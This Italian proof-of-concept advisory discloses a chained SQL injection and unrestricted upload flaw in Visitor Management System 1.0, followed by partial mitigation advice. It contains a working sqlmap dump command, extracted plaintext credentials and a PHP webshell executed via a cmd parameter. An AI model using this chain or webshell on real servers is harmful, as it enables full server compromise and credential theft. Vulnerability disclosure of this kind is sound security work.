
Proof-of-concept che dimostra l'iniezione SQL e il caricamento di file senza restrizioni combinati per ottenere l'esecuzione remota di codice in Visitor Management System 1.0, inclusa una guida passo-passo allo sfruttamento e alla mitigazione.
| Campo | Dettagli |
|---|
| Prodotto | Visitor Management System |
| Venditore | code-projects.org |
| Versione | 1.0 |
| Classi di Vulnerabilità | SQL Injection (CWE-89) + Upload di File Senza Restrizioni (CWE-434) |
| ID CVE | In attesa |
| Punteggio CVSS | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticazione Richiesta | Privilegi bassi (account guardia) come punto di ingresso |
| File Interessati | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Parametro Vulnerabile | phone (POST) |
Il Visitor Management System 1.0 di code-projects.org è vulnerabile a una catena di attacco critica che combina SQL Injection e Upload di File Senza Restrizioni, portando all'Esecuzione di Codice Remoto.
Un attaccante con accesso a bassi privilegi (account guardia) può sfruttare una vulnerabilità di SQL injection in pass.php tramite il parametro POST phone per estrarre l'intero database — incluse le credenziali admin in chiaro. Utilizzando le credenziali estratte per autenticarsi come admin, l'attaccante può quindi caricare una webshell PHP tramite il pannello di gestione Admin User (admin_user_0.php), che non esegue alcuna validazione sul tipo di file o sull'estensione. La webshell caricata viene archiviata in una directory accessibile via web e può essere eseguita direttamente tramite URL, risultando in piena Esecuzione di Codice Remoto sul server.
Inoltre, le password sono memorizzate in chiaro nel database, il che significa che non è richiesto alcun passaggio di cracking dopo l'estrazione tramite SQLi.
Login guardia a bassi privilegi
↓
SQL Injection in pass.php (parametro phone)
↓
Estrazione sqlmap → credenziali admin in chiaro ottenute
↓
Login come admin (sanjay1:7861)
↓
Upload di file senza restrizioni in admin_user_0.php
↓
Webshell PHP caricata in /vms/php/folder/
↓
RCE tramite ?cmd=whoami → compromissione totale del server
Navigare nell'applicazione VMS e accedere con le credenziali della guardia. Dopo il login, navigare alla pagina Phone Number:
http://<TARGET>/vms/php/phone_0.php

Inviare un singolo apice ' come valore del numero di telefono. L'applicazione genera un errore fatale di MariaDB che espone la query grezza e il percorso del file:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
File interessato: pass.php riga 9
Parametro vulnerabile: phone (POST)

errore sql

Salvare la richiesta catturata con Burp Suite in un file (sqli.txt) ed eseguire sqlmap:
sqlmap -r sqli.txt --dump --batch
sqlmap estrae con successo la tabella login_user dal database vms, rivelando le credenziali in chiaro per tutti gli utenti:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Nota: Le password sono memorizzate in chiaro — nessun cracking di hash richiesto.

Utilizzando le credenziali admin estratte, accedere al pannello di amministrazione:
Username: sanjay1
Password: 7861
La dashboard admin completa è ora accessibile, inclusa la gestione di Employee, Department, Admin User e Report.

Navigare alla pagina di gestione Admin User:
http://<TARGET>/vms/php/admin_user_0.php
La pagina contiene un campo di upload file per l'immagine del profilo. L'applicazione non esegue alcuna validazione sul tipo di file, nessun filtro sull'estensione e nessun controllo sul MIME type.
Compilare il modulo con valori qualsiasi e caricare la seguente webshell PHP come file immagine (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

Navigare alla pagina di visualizzazione Admin User:
http://<TARGET>/vms/php/admin_display_0.php
Il nuovo account admin creato è visibile nella tabella. La webshell caricata è archiviata in:
http://<TARGET>/vms/php/folder/web2_command.php

Eseguire comandi di sistema arbitrari tramite la webshell:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
Risultato: Il server restituisce l'utente di sistema corrente confermando la piena Esecuzione di Codice Remoto:
desktop-g1i9np3\dell

| File | Vulnerabilità |
|---|---|
/vms/php/pass.php | SQL Injection tramite parametro POST phone |
/vms/php/admin_user_0.php | Upload di File Senza Restrizioni — nessuna validazione di estensione o MIME |
/vms/php/folder/ | Directory di archiviazione webshell — accessibile via web, senza restrizioni |
Per la SQL Injection:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
Per l'Upload di File:
Per la Memorizzazione delle Password:
password_hash() e password_verify() — non memorizzare mai in chiaro